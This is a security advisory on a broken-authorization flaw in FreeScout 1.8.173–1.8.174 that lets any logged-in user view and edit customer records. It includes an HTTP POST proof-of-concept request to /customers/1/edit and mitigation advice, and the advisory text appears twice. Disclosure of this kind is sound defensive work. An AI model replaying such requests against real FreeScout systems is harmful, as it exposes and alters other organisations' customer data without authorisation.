Insufficient authorization [4]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-863: Incorrect Authorization
CVSS vector v.4.0: 5.3 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Description: the application incorrectly checks user access rights. An attacker can gain access to information or functionality that does not correspond to the privileges granted to them.
Vulnerable scenario:
/customers/{customer_id}/edit
Vulnerable parameters: customer_id
Exploitation conditions: authorized user
Mitigation: implement user privilege checking when performing actions. The procedures for user identification, authentication, and authorization must be implemented flawlessly.
To protect against vulnerabilities, it is recommended to implement effective access control to resources and verify user privileges before providing access to confidential data or allowing actions to be performed within the System. To achieve this, the following guidelines should be followed:
• Users should not have access to any functionality or information by directly accessing the application page;
• Pages containing confidential information should not be cached;
• Access to each page should be restricted by a session authentication token associated with the user who has the necessary permissions to access that page;
• The access control mechanism should be performed on the server-side;
• It is recommended to use a proven library or framework that prevents or limits attacks on the authorization mechanism, such as the JAAS Authorization Framework and OWASP ESAPI Access Control.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability in FreeScout.
The System does not provide a check on which "clients" of the System an authorized user can view and edit, and which ones they cannot. As a result, an authorized user who does not have access to any of the existing mailboxes, as well as to any of the existing conversations, has the ability to view and edit the System's clients.
The limitation of client visibility can be implemented by the limit_user_customer_visibility setting, however, in the specified scenarios, there is no check for the presence of this setting.
Listing. Request to edit client with id=1
POST /customers/1/edit HTTP/1.1
Host: 188.***.***.***
Content-Type: multipart/form-data; boundary=----geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Length: 2199
Cookie: XSRF-TOKEN=eyJpdiI6IkRhbHhvRFVXeGl3RFRLNnRiWTNkSmc9PSIsInZhbHVlIjoiRHRIcEVTTTVGdGlpcXZxdVUreE5sYUtoY21iVUxpMlBKOXRwQW9BZXIzdXhtT2NYUWZiUWJXTTFpbzUzVDdoQiIsIm1hYyI6IjE4NzRkNzc2MjJkZmNhNGQ5ZTIxZDQwY2QwNDBiZTU3NDE4ZDk2ZDUxNjVlNmEzYWE1MGQ5ZjM1YTA1M2QwNTgifQ%3D%3D; laravel_session=eyJpdiI6IktBNjh6dXJtakcwVnRNTTR1Vk5nN1E9PSIsInZhbHVlIjoidngzbTJBQkE0Rkt0MWloZEprVWtPU3lNaTZSNXY4OGpJc0JObE1FNEtxdnU4QlJIK1wvSlg3VmhZYzFGeHZDSE44cmdHTDI0c0FPclNQMjVnOGx2NGdIRzliVHhtbWliWmg4SkxoY2lBUWp4NHBhZEt0VGpJRUZDRHREY0hTZHNNIiwibWFjIjoiNTMwZjIyNjc5YmFlYWE4NzAyZjU3YjliZjY3MGMyMzdmNDUzYjMxZWFkYjA2OTMzMDU4MTZlODcxODJlOTY2YiJ9
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="_token"
ZEPIXYCvccyvKS1ZRASgsA0dzKLx2l5oIe75aWf2
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="first_name"
ivan
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="last_name"
Fedorov
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="emails[]"
[email protected]
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="phones[0][type]"
1
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="phones[0][value]"
89111111111
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="company"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="job_title"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="websites[]"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="social_profiles[0][type]"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="social_profiles[0][value]"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="country"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="state"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="city"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="address"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="zip"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="photo_url"; filename=""
Content-Type: application/octet-stream
------geckoformboundary78fba421490dd9e3f1caa941a5b17554
Content-Disposition: form-data; name="notes"
------geckoformboundary78fba421490dd9e3f1caa941a5b17554--
Insufficient authorization [4]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-863: Incorrect Authorization
CVSS vector v.4.0: 5.3 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Description: the application incorrectly checks user access rights. An attacker can gain access to information or functionality that does not correspond to the privileges granted to them.
Vulnerable scenario:
/customers/{customer_id}/edit
Vulnerable parameters:
customer_id
Exploitation conditions: authorized user
Mitigation: implement user privilege checking when performing actions. The procedures for user identification, authentication, and authorization must be implemented flawlessly.
To protect against vulnerabilities, it is recommended to implement effective access control to resources and verify user privileges before providing access to confidential data or allowing actions to be performed within the System. To achieve this, the following guidelines should be followed:
• Users should not have access to any functionality or information by directly accessing the application page;
• Pages containing confidential information should not be cached;
• Access to each page should be restricted by a session authentication token associated with the user who has the necessary permissions to access that page;
• The access control mechanism should be performed on the server-side;
• It is recommended to use a proven library or framework that prevents or limits attacks on the authorization mechanism, such as the JAAS Authorization Framework and OWASP ESAPI Access Control.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability in FreeScout.
The System does not provide a check on which "clients" of the System an authorized user can view and edit, and which ones they cannot. As a result, an authorized user who does not have access to any of the existing mailboxes, as well as to any of the existing conversations, has the ability to view and edit the System's clients.
The limitation of client visibility can be implemented by the limit_user_customer_visibility setting, however, in the specified scenarios, there is no check for the presence of this setting.
Listing. Request to edit client with id=1